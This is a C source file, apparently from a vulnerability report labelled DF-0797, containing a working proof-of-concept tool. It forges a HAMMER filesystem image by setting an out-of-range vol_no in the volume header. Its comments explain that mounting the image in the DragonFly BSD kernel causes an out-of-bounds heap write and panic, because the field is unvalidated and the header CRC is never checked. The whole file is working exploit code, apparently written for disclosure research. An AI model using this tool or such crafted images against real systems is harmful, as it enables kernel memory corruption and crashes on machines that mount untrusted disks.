DF-0797 / craft_img.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 | /* * craft_img.c - HAMMER v1 image forger for DF-0797. * * DF-0797 root cause: hammer_install_volume() (hammer_ondisk.c:210) assigns * volume->vol_no = ondisk->vol_no * from the raw on-disk volume header with NO range validation. Then at * hammer_ondisk.c:234 it calls hammer_volume_number_add(hmp, volume) which * (hammer.h:1582-1583) does: * int i = __hammer_vol_index(vol->vol_no); // = vol_no >> 6, NO mask * hmp->volume_map[i] |= __hammer_vol_low(vol->vol_no); * hmp->volume_map[] is uint64_t[4] -- only indices 0..3 are valid (vol_no * 0..255). A crafted vol_no outside that range produces an out-of-bounds * heap write past the last field of struct hammer_mount: * vol_no = 256 -> i=4, 8 bytes past volume_map (smallest OOB) * vol_no = 0x7FFFFFFF -> i=0x1FFFFFF, ~256 MB past volume_map -> fatal * page fault / panic * * Crucially the volume-header CRC (ondisk->vol_crc) is NEVER validated at * mount time: hammer_crc_test_volume() (hammer_crc.h:180) is defined but has * ZERO callers in sys/vfs/hammer/. So patching vol_no requires NO crc fixup. * * This forger opens the image, finds the volume header in the first buffer * (block 0), and patches the vol_no field (offset 0x90 in * struct hammer_volume_ondisk) to the supplied forged value. * * Build: cc -O2 -o craft_img craft_img.c * Usage: ./craft_img <image.img> [vol_no] (default 0x7FFFFFFF) */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> /* volume_ondisk field offsets (struct hammer_volume_ondisk, hammer_disk.h:738) * * u64 vol_signature @ 0 * i64 vol_bot_beg @ 8 * i64 vol_mem_beg @ 16 * i64 vol_buf_beg @ 24 * i64 vol_buf_end @ 32 * i64 vol_reserved01 @ 40 * uuid vol_fsid @ 48 (16 bytes) * uuid vol_fstype @ 64 (16 bytes) * char vol_label[64] @ 80 * i32 vol_no @ 144 <-- TARGET * i32 vol_count @ 148 * u32 vol_version @ 152 * u32 vol_crc @ 156 (never validated at mount -- see header) * u32 vol_flags @ 160 * u32 vol_rootvol @ 164 */ #define VOFF_signature 0 #define VOFF_vol_no 144 #define VOFF_vol_crc 156 #define VOFF_vol_rootvol 164 #define HAMMER_FSBUF_VOLUME 0xC8414D4DC5523031ULL /* little-endian helpers (DragonFly x86_64 guest is LE) */ static uint32_t rd32(const uint8_t *p){ return (uint32_t)p[0] | ((uint32_t)p[1]<<8) | ((uint32_t)p[2]<<16) | ((uint32_t)p[3]<<24); } static uint64_t rd64(const uint8_t *p){ return (uint64_t)p[0] | ((uint64_t)p[1]<<8) | ((uint64_t)p[2]<<16) | ((uint64_t)p[3]<<24) | ((uint64_t)p[4]<<32) | ((uint64_t)p[5]<<40) | ((uint64_t)p[6]<<48) | ((uint64_t)p[7]<<56); } static void wr32(uint8_t *p, uint32_t v){ p[0]=v; p[1]=v>>8; p[2]=v>>16; p[3]=v>>24; } int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "scratch.img"; int32_t forged_vol_no = (argc > 2) ? (int32_t)strtol(argv[2], NULL, 0) : 0x7FFFFFFF; int fd = open(path, O_RDWR); if (fd < 0) { perror("open"); return 1; } uint8_t hdr[512]; ssize_t n = read(fd, hdr, sizeof(hdr)); if (n < (ssize_t)sizeof(hdr)) { fprintf(stderr, "short read (%zd) on %s -- need a valid HAMMER image\n", n, path); close(fd); return 1; } /* sanity: confirm we're looking at a HAMMER volume header */ uint64_t sig = rd64(hdr + VOFF_signature); if (sig != HAMMER_FSBUF_VOLUME) { fprintf(stderr, "not a HAMMER volume header: signature=0x%016llx\n", (unsigned long long)sig); close(fd); return 1; } uint32_t old_vol_no = (int32_t)rd32(hdr + VOFF_vol_no); uint32_t old_vol_crc = rd32(hdr + VOFF_vol_crc); uint32_t old_vol_root = rd32(hdr + VOFF_vol_rootvol); printf("[*] image : %s\n", path); printf("[*] signature : 0x%016llx (HAMMER_FSBUF_VOLUME OK)\n", (unsigned long long)sig); printf("[*] vol_no : %u (0x%08x) -> forging to %d (0x%08x)\n", old_vol_no, old_vol_no, forged_vol_no, (unsigned)forged_vol_no); printf("[*] vol_crc : 0x%08x (LEAVE -- never validated at mount)\n", old_vol_crc); printf("[*] vol_rootvol: %u\n", old_vol_root); printf("[*] vol_version: %u\n", rd32(hdr + 152)); /* what the OOB write will look like at mount */ int idx = (int)((uint32_t)forged_vol_no >> 6); printf("[*] __hammer_vol_index(%d) = %d (volume_map valid range 0..3)\n", forged_vol_no, idx); if (idx < 0 || idx > 3) { printf("[!] OOB WRITE: hmp->volume_map[%d] |= bit -> +%d bytes past volume_map[0]\n", idx, idx * 8); printf("[!] volume_map is the LAST field of struct hammer_mount (hammer.h:875)\n"); printf("[!] -> write lands in adjacent kernel heap / unmapped page\n"); if (idx >= 65536) printf("[!] -> idx*8 = %d MiB past volume_map -> guaranteed fatal page fault\n", (idx * 8) / (1024 * 1024)); } /* patch vol_no in place -- no CRC recompute (crc never validated at mount) */ if (lseek(fd, 0, SEEK_SET) != 0) { perror("lseek"); close(fd); return 1; } wr32(hdr + VOFF_vol_no, (uint32_t)forged_vol_no); if (write(fd, hdr, sizeof(hdr)) != (ssize_t)sizeof(hdr)) { perror("write"); close(fd); return 1; } fsync(fd); close(fd); printf("[+] vol_no patched in-place (CRC left as-is -- not validated at mount)\n"); return 0; } |